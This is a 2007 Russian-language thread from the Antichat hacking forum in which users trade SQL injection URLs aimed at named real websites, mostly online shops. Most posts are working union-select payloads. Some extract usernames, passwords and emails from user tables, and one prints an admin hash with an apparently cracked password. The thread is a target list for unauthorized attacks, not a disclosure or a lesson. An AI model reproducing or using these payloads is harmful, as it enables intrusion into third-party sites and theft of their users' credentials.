ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 13.02.2007, 22:46
Аватар для Thanat0z
Thanat0z
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
Провел на форуме:
5352530

Репутация: 2062


По умолчанию

почти всё инет-магазины
таблицы не нашел, лоадфайла нет
Код:
__http://www.getethical.com/getethical_shop.php?id=-16+union+select+1,2,3,4/*&cat=Shoes%20and%20Trainers

__http://www.zaishu.com/shop.php?id=17+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*
в этих подзапросы, просто ошибки скуля, фильтрация пробелов и прочие приколы, разбирать не стал
Код:
__http://shop.fightresource.com/viewproducts.php?id=-33'+union+select+1,2,3,4,5,6,7,8,8/*
__http://www.ukrbiznes.com/website.php?id=47515'
__http://www.airsideshop.com/product.php?id=-231'
__http://www.stageagent.com/shows.php?id=686'+union+select+1,2/*
__http://www.qi.com/shop/qicat.php?id=-202'+union+select+1,2/*
__http://www.blackpoolpleasurebeach.com/shop/product.php?id=235'/*&typeid=5

Последний раз редактировалось Thanat0z; 13.02.2007 в 23:00..
 
Ответить с цитированием

  #2  
Старый 13.02.2007, 23:25
Аватар для ice1k
ice1k
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
Провел на форуме:
4908597

Репутация: 1866


Отправить сообщение для ice1k с помощью ICQ
По умолчанию

Код:
__http://www.mediapro.com.ua/news/text.php?id=-99+union+select+1,2,concat(username,0x3a,user_password),4,5,6,7,8+from+phpbb_users+limit+1,1/*
admin:fa7f581027e58c9a5bcdbdc192d80c55
admin:011076
Код:
__http://www.synco.ru/text.php?id=-99+union+select+999/*
Код:
__http://www.legionhardware.com/document.php?id=-99+union+select+1,2,3,4,5,6,7,8,concat(name,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77+from+users+limit+0,1/*
=\

Последний раз редактировалось ice1k; 14.02.2007 в 00:51..
 
Ответить с цитированием

  #3  
Старый 14.02.2007, 00:59
Аватар для +StArT+
+StArT+
Познающий
Регистрация: 10.02.2007
Сообщений: 38
Провел на форуме:
1223241

Репутация: 183
Отправить сообщение для +StArT+ с помощью ICQ
По умолчанию

Код:
http://svadba.irk.ru/catalog.php?id=-1+union+select+1,2,3,4,5,6,7,8/*
 
Ответить с цитированием

  #4  
Старый 14.02.2007, 01:32
Аватар для Dagon
Dagon
Познающий
Регистрация: 27.03.2006
Сообщений: 86
Провел на форуме:
972602

Репутация: 52
По умолчанию

_http://www.reflex.se/downloads.php?cat=1'
_http://www.xtremepsp.com/downloads.php?cat=2'
 
Ответить с цитированием

  #5  
Старый 14.02.2007, 01:44
Аватар для Thanat0z
Thanat0z
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
Провел на форуме:
5352530

Репутация: 2062


По умолчанию

Цитата:
Сообщение от Dagon  
_http://www.reflex.se/downloads.php?cat=1'
_http://www.xtremepsp.com/downloads.php?cat=2'
покажите реализацию, имхо здесь нет инъекций
 
Ответить с цитированием

  #6  
Старый 14.02.2007, 01:55
Аватар для ice1k
ice1k
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
Провел на форуме:
4908597

Репутация: 1866


Отправить сообщение для ice1k с помощью ICQ
По умолчанию

Цитата:
Сообщение от Thanat0z  
покажите реализацию, имхо здесь нет инъекций
http://www.xtremepsp.com/downloads.php?cat=-99+union+select+1,user(),3,4,5,6,7,8/*
etc...
 
Ответить с цитированием

  #7  
Старый 14.02.2007, 01:58
Аватар для }{0TT@БЬ)Ч
}{0TT@БЬ)Ч
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме:
3536885

Репутация: 447
По умолчанию

а так круче http://www.xtremepsp.com/downloads.php?cat=-2+union+select+1,2,3,4,concat(name,char(58),passwo rd,char(58),email),6,7,8+from+members/*
 
Ответить с цитированием

  #8  
Старый 14.02.2007, 02:00
Аватар для Thanat0z
Thanat0z
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
Провел на форуме:
5352530

Репутация: 2062


По умолчанию

млин, а мне на 7 уже было влом перебирать (ленивая сволочь)
держите плюсы

Простите засранца
 
Ответить с цитированием

  #9  
Старый 14.02.2007, 02:18
Аватар для }{0TT@БЬ)Ч
}{0TT@БЬ)Ч
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме:
3536885

Репутация: 447
По умолчанию

хмм и админка на виду
Total Members: 3776

Последний раз редактировалось }{0TT@БЬ)Ч; 14.02.2007 в 02:23..
 
Ответить с цитированием

  #10  
Старый 14.02.2007, 03:11
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

2Thanat0z
для перебора можно использывать специальные тулзы, если не дает результата то уже ручками, просто иногда бывает что в таблице 50-60 столбцов...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ